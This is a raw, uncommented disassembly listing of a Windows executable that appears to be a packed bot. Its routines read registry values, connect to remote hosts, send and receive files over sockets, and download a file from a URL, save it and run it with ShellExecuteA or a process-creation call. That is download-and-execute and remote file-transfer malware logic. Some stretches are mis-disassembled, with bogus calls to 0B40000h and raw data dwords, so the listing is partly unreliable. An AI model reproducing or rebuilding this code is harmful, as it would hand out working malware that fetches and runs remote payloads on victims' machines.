mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415EF7
mov ecx, 0A0h
loc_415EF7: ; CODE XREF: sub_415DEA+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415F01
push 78h
pop eax
loc_415F01: ; CODE XREF: sub_415DEA+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415F46
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4D124C ; SendMessageA
loc_415F46: ; CODE XREF: sub_415DEA+14Aj
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415F63
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4D124C ; SendMessageA
loc_415F63: ; CODE XREF: sub_415DEA+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415FA1
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4D124C ; SendMessageA
loc_415FA1: ; CODE XREF: sub_415DEA+1A3j
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415FBC
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4D124C ; SendMessageA
loc_415FBC: ; CODE XREF: sub_415DEA+1C0j
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415FD5
push ebx
push ebx
push 43Eh
push edi
call dword_4D124C ; SendMessageA
loc_415FD5: ; CODE XREF: sub_415DEA+1DBj
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415FF2
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4D124C ; SendMessageA
loc_415FF2: ; CODE XREF: sub_415DEA+1F4j
push [ebp+var_4]
call sub_41B961
push esi
call sub_41B961
pop ecx
pop ecx
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_41601B
push ebx
push ebx
push 40Bh
push edi
call dword_4D124C ; SendMessageA
loc_41601B: ; CODE XREF: sub_415DEA+63j
; sub_415DEA+D0j ...
push edi
call dword_4D12A0 ; DestroyWindow
mov eax, ebx
loc_416024: ; CODE XREF: sub_415DEA+39j
pop edi
pop esi
pop ebx
leave
retn
sub_415DEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416029 proc near ; CODE XREF: .nsp0:004040B8p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_43E4DC, ebx
mov [ebp+var_C], 80h
jz loc_4161DB
push esi
push edi
mov eax, offset off_43E4DC
mov esi, offset dword_43E4E8
mov edi, offset dword_43F6E0
loc_416059: ; CODE XREF: sub_416029+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4D1260 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4D10F0 ; RegQueryValueExA
test eax, eax
jnz loc_4161C1
mov eax, [esi]
cmp eax, ebx
jz loc_416185
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_4301F0
push eax
call sub_41BF36
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41BBB8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_4161C1
push eax
loc_4160D2: ; CODE XREF: sub_416029+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41C1FF
add esp, 0Ch
test eax, eax
jz loc_41617A
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_4160FF
push [ebp+var_8]
jmp short loc_4160D2
; ---------------------------------------------------------------------------
loc_4160FF: ; CODE XREF: sub_416029+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41C650
pop ecx
test eax, eax
pop ecx
jz short loc_41613E
lea eax, [ebp+var_70]
push offset asc_43F6DC ; "="
push eax
call sub_41C794
push offset asc_43F6DC ; "="
push ebx
call sub_41C794
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BF36
add esp, 20h
jmp short loc_416155
; ---------------------------------------------------------------------------
loc_41613E: ; CODE XREF: sub_416029+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BF36
add esp, 10h
loc_416155: ; CODE XREF: sub_416029+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_2F0]
push eax
call sub_4157A6
add esp, 18h
loc_41617A: ; CODE XREF: sub_416029+B9j
push [ebp+var_8]
call sub_41B90B
pop ecx
jmp short loc_4161C1
; ---------------------------------------------------------------------------
loc_416185: ; CODE XREF: sub_416029+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41BF36
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_2F0]
push eax
call sub_4157A6
add esp, 28h
loc_4161C1: ; CODE XREF: sub_416029+60j
; sub_416029+A2j ...
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_416059
pop edi
pop esi
loc_4161DB: ; CODE XREF: sub_416029+19j
pop ebx
leave
retn
sub_416029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161DE proc near ; CODE XREF: .nsp0:00416883p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4D1270 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41625A
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4D11F0 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4D1230 ; inet_addr
cmp eax, esi
jnz short loc_41623F
push [ebp+arg_0]
call dword_4D1274 ; gethostbyname
test eax, eax
jz short loc_41625A
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_41623F: ; CODE XREF: sub_4161DE+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4D1198 ; connect
cmp eax, esi
jnz short loc_41625E
push edi
call dword_4D1288 ; closesocket
loc_41625A: ; CODE XREF: sub_4161DE+1Bj
; sub_4161DE+58j
mov eax, esi
jmp short loc_416260
; ---------------------------------------------------------------------------
loc_41625E: ; CODE XREF: sub_4161DE+73j
mov eax, edi
loc_416260: ; CODE XREF: sub_4161DE+7Ej
pop edi
pop esi
leave
retn
sub_4161DE endp
; ---------------------------------------------------------------------------
dword_416264 dd 0B8EC8B55h, 11B4h, 5F5FE8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: .nsp0:0040250Co
dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
dd 4C858D52h, 68FFFFEEh, 43F75Ch, 5C80E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0FBE85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch
dd 0F4C0E850h, 75FFFFFFh, 503CE8F0h, 5959FFFFh, 9D0AE856h
dd 686E0072h, 443398h, 41EBE853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 43F72Ch, 5C1CE850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 97E85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch
dd 0F45CE850h, 5359FFFFh, 128815FFh, 75FF004Dh, 4FD0E8F0h
dd 5659FFFFh, 729C9FE8h, 646A3C00h, 706415FFh, 0FF330042h
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 0C1E85057h, 83000058h
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 120815FFh, 0C085004Dh
dd 858D387Eh, 0FFFFEE4Ch, 43080868h, 0B9E85000h, 8D000061h
dd 0FFEE4C85h, 26E850FFh, 8300003Fh, 0C0850CC4h, 646A1474h
dd 706415FFh, 0A6A0042h, 0FF4E8DE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 43F6F868h, 57E85000h, 3900005Bh, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 35D4E853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFF399E8h
dd 0FF5359FFh, 4D128815h, 0F075FF00h, 0FF4F0DE8h, 0E85759FFh
dd 729BDCh
db 7Eh
; ---------------------------------------------------------------------------
loc_416425: ; DATA XREF: .nsp0:00409265o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4D1270 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_416473
push offset unk_43F85C
jmp loc_41662C
; ---------------------------------------------------------------------------
loc_416473: ; CODE XREF: .nsp0:00416467j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41BC40
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4D11F0 ; ntohs
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4D121C ; bind
test eax, eax
jz short loc_4164B1
push offset unk_43F838
jmp loc_41662C
; ---------------------------------------------------------------------------
loc_4164B1: ; CODE XREF: .nsp0:004164A5j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4D1194 ; getsockname
push dword ptr [ebp-2Eh]
call dword_4D1120 ; ntohs
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41B890
pop ecx
loc_4164E3: ; CODE XREF: .nsp0:00416514j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_4164F6
push 5Fh
pop eax
jmp short loc_4164F9
; ---------------------------------------------------------------------------
loc_4164F6: ; CODE XREF: .nsp0:004164EFj
movsx eax, al
loc_4164F9: ; CODE XREF: .nsp0:004164F4j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41B890
cmp [ebp+8], eax
pop ecx
jbe short loc_4164E3
push ebx
push edi
call dword_4D1218 ; listen
test eax, eax
jz short loc_41652C
push offset unk_43F75C
jmp loc_41662C
; ---------------------------------------------------------------------------
loc_41652C: ; CODE XREF: .nsp0:00416520j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
call dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_416556
push offset unk_43F818
jmp loc_41662C
; ---------------------------------------------------------------------------
loc_416556: ; CODE XREF: .nsp0:0041654Aj
push esi
push eax
call near ptr 0B40000h
cmp cl, [ecx+0F500845h]
mov bh, 45h
cld
push eax
push dword ptr [ebp-1FCh]
call sub_40AB6A
pop ecx
push eax
call dword_4D1230 ; inet_addr
push eax
call dword_4D11EC ; ntohl
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_43F800
push eax
call sub_41BF36
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_4099D2
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4D11D8 ; select
test eax, eax
jg short loc_416606
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_43F7E8
push eax
push dword ptr [ebp-1FCh]
call sub_4099D2
jmp loc_41672A
; ---------------------------------------------------------------------------
loc_416606: ; CODE XREF: .nsp0:004165E4j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4D1284 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_41663F
push offset unk_43F7C4
loc_41662C: ; CODE XREF: .nsp0:0041646Ej
; .nsp0:004164ACj ...
lea eax, [ebp-3FCh]
push eax
call sub_41BF36
pop ecx
pop ecx
jmp loc_41672D
; ---------------------------------------------------------------------------
loc_41663F: ; CODE XREF: .nsp0:00416625j
push edi
call dword_4D1288 ; closesocket
cmp [ebp+8], esi
jz loc_4166F1
mov edi, 400h
loc_416654: ; CODE XREF: .nsp0:004166E8j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416661
mov [ebp-4], eax
loc_416661: ; CODE XREF: .nsp0:0041665Cj
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41BC40
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call dword_427120 ; SetFilePointer
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
call dword_4270E8 ; ReadFile
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4D1240 ; send
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4D1208 ; recv
cmp eax, ebx
jl near ptr loc_416785+1
mov eax, [ebp-4]
cmp eax, ebx
jl near ptr loc_416785+1
sub [ebp+8], eax
jnz loc_416654
mov edi, [ebp-18h]
loc_4166F1: ; CODE XREF: .nsp0:00416649j
push dword ptr [ebp-8]
call dword_42706C ; CloseHandle
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416F2B
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_43F798
push eax
call sub_41BF36
loc_41672A: ; CODE XREF: .nsp0:00416601j
add esp, 14h
loc_41672D: ; CODE XREF: .nsp0:0041663Aj
cmp [ebp-50h], esi
jnz short loc_416752
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_4099D2
add esp, 14h
loc_416752: ; CODE XREF: .nsp0:00416730j
lea eax, [ebp-3FCh]
push eax
call sub_4157A6
cmp edi, esi
pop ecx
jbe short loc_41676A
push edi
call dword_4D1288 ; closesocket
loc_41676A: ; CODE XREF: .nsp0:00416761j
push dword ptr [ebp-1F8h]
call dword_4D1288 ; closesocket
push dword ptr [ebp-58h]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
loc_416785: ; CODE XREF: .nsp0:004166D4j
; .nsp0:004166DFj
mov bl, 56h
mov esi, offset dword_43F780
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_4099D2
push esi
call sub_4157A6
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4D1288 ; closesocket
push dword ptr [ebp-58h]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
lodsd
loc_4167C7: ; DATA XREF: .nsp0:004022B6o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C1D0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 0B40000h
dec eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_4301F8
push eax
call sub_41BF36
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_416851
push offset unk_43F8FC
jmp short loc_416897
; ---------------------------------------------------------------------------
loc_416851: ; CODE XREF: .nsp0:00416848j
push eax
call dword_42706C ; CloseHandle
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41BBB8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_416879
push offset unk_43F8CC
jmp short loc_416897
; ---------------------------------------------------------------------------
loc_416879: ; CODE XREF: .nsp0:00416870j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_4161DE
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_4168AA
push offset unk_43F8AC
loc_416897: ; CODE XREF: .nsp0:0041684Fj
; .nsp0:00416877j
lea eax, [ebp-4C4h]
push eax
call sub_41BF36
pop ecx
pop ecx
jmp loc_4169A4
; ---------------------------------------------------------------------------
loc_4168AA: ; CODE XREF: .nsp0:00416890j
mov esi, 1000h
loc_4168AF: ; CODE XREF: .nsp0:00416915j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4D1208 ; recv
mov edi, eax
cmp edi, ebx
jz loc_416976
cmp edi, 0FFFFFFFFh
jz short loc_416917
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D984
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4D11EC ; ntohl
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4D1240 ; send
jmp short loc_4168AF
; ---------------------------------------------------------------------------
loc_416917: ; CODE XREF: .nsp0:004168DFj
lea eax, [ebp-4C4h]
push offset dword_43F780
push eax
call sub_41BF36
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_4099D2
lea eax, [ebp-4C4h]
push eax
call sub_4157A6
push dword ptr [ebp-4]
call sub_41B90B
add esp, 24h
push dword ptr [ebp+8]
call dword_4D1288 ; closesocket
push dword ptr [ebp-1Ch]
call sub_40B32A
pop ecx
push 1
call near ptr 0B40000h
push ds
loc_416976: ; CODE XREF: .nsp0:004168D6j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416F2B
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_43F880
push eax
call sub_41BF36
add esp, 1Ch
loc_4169A4: ; CODE XREF: .nsp0:004168A5j
cmp [ebp-14h], ebx
jnz short loc_4169C9
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_4099D2
add esp, 14h
loc_4169C9: ; CODE XREF: .nsp0:004169A7j
lea eax, [ebp-4C4h]
push eax
call sub_4157A6
cmp [ebp-4], ebx
pop ecx
jz short loc_4169E4
push dword ptr [ebp-4]
call sub_41B90B
pop ecx
loc_4169E4: ; CODE XREF: .nsp0:004169D9j
cmp [ebp+8], ebx
jbe short loc_4169F2
push dword ptr [ebp+8]
call dword_4D1288 ; closesocket
loc_4169F2: ; CODE XREF: .nsp0:004169E7j
push dword ptr [ebp-1Ch]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
loc_416A01: ; DATA XREF: .nsp0:00407CD0o
and [ebp-75h], dl
in al, dx
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4D11A0
call dword_4D10F4 ; InternetOpenUrlA
cmp eax, esi
mov [ebp-18h], eax
jz loc_416E8E
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call dword_4270EC ; CreateFileA
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_416AC9
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_43FAC8
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416AAC
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
add esp, 14h
loc_416AAC: ; CODE XREF: .nsp0:00416A8Aj
lea eax, [ebp-510h]
push eax
call sub_4157A6
push dword ptr [ebp-48h]
call sub_40B32A
pop ecx
pop ecx
push esi
call near ptr 0B40000h
stosd
loc_416AC9: ; CODE XREF: .nsp0:00416A6Aj
xor edi, edi
call dword_4270A8 ; GetTickCount
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41BBCB
pop ecx
mov [ebp-1Ch], eax
loc_416AE3: ; CODE XREF: .nsp0:00416BB6j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4D10FC ; InternetReadFile
cmp [ebp-34h], esi
jz short loc_416B27
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_416EF4
pop ecx
pop ecx
loc_416B27: ; CODE XREF: .nsp0:00416B14j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 0B40000h
mov eax, 2273FB3Bh
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416B4F
mov eax, [ebp+8]
loc_416B4F: ; CODE XREF: .nsp0:00416B4Aj
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416B72
cmp edi, [ebp-3Ch]
ja short loc_416BBC
loc_416B72: ; CODE XREF: .nsp0:00416B6Bj
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416B8C
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_43FAA0
jmp short loc_416B9C
; ---------------------------------------------------------------------------
loc_416B8C: ; CODE XREF: .nsp0:00416B78j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_43FA78
loc_416B9C: ; CODE XREF: .nsp0:00416B8Aj
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_443F20
push eax
call sub_41BF36
add esp, 10h
cmp [ebp+8], esi
ja loc_416AE3
loc_416BBC: ; CODE XREF: .nsp0:00416B70j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416C11
cmp edi, [ebp-3Ch]
jz short loc_416C11
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_43FA4C
push eax
call sub_41BF36
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
lea eax, [ebp-510h]
push eax
call sub_4157A6
add esp, 28h
loc_416C11: ; CODE XREF: .nsp0:00416BC6j
; .nsp0:00416BCBj
call dword_4270A8 ; GetTickCount
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42706C ; CloseHandle
push dword ptr [ebp-1Ch]
call sub_41B961
cmp [ebp-38h], esi
pop ecx
jz short loc_416C9B
lea eax, [ebp-148h]
push eax
call sub_4010C3
cmp eax, [ebp-38h]
pop ecx
jz short loc_416C9B
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_43FA24
push eax
call sub_41BF36
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
lea eax, [ebp-510h]
push eax
call sub_4157A6
add esp, 28h
loc_416C9B: ; CODE XREF: .nsp0:00416C43j
; .nsp0:00416C55j
cmp [ebp-14h], esi
jz loc_416EDB
cmp dword ptr [ebp-44h], 1
jz loc_416D96
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_43F9EC
push eax
call sub_41BF36
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416D16
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
add esp, 14h
loc_416D16: ; CODE XREF: .nsp0:00416CF4j
lea eax, [ebp-510h]
push eax
call sub_4157A6
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_416EDB
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4D115C ; ShellExecuteA
cmp [ebp-30h], esi
jnz loc_416EDB
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_43F9D0
push eax
call sub_41BF36
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
lea eax, [ebp-510h]
push eax
call sub_4157A6
add esp, 24h
jmp loc_416EDB
; ---------------------------------------------------------------------------
loc_416D96: ; CODE XREF: .nsp0:00416CA8j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_43F98C
push eax
call sub_41BF36
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416DFE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
add esp, 14h
loc_416DFE: ; CODE XREF: .nsp0:00416DDCj
lea eax, [ebp-510h]
push eax
call sub_4157A6
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41BC40
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41BC40
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_443398
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 0B40000h
push cs
cmp eax, edi
jnz short loc_416E80
call dword_4D1148 ; WSACleanup
call loc_418B05
push esi
call dword_427068 ; ExitProcess
loc_416E80: ; CODE XREF: .nsp0:00416E6Cj
lea eax, [ebp-148h]
push eax
push offset unk_43F958
jmp short loc_416E9A
; ---------------------------------------------------------------------------
loc_416E8E: ; CODE XREF: .nsp0:00416A47j
lea eax, [ebp-248h]
push eax
push offset unk_43F92C
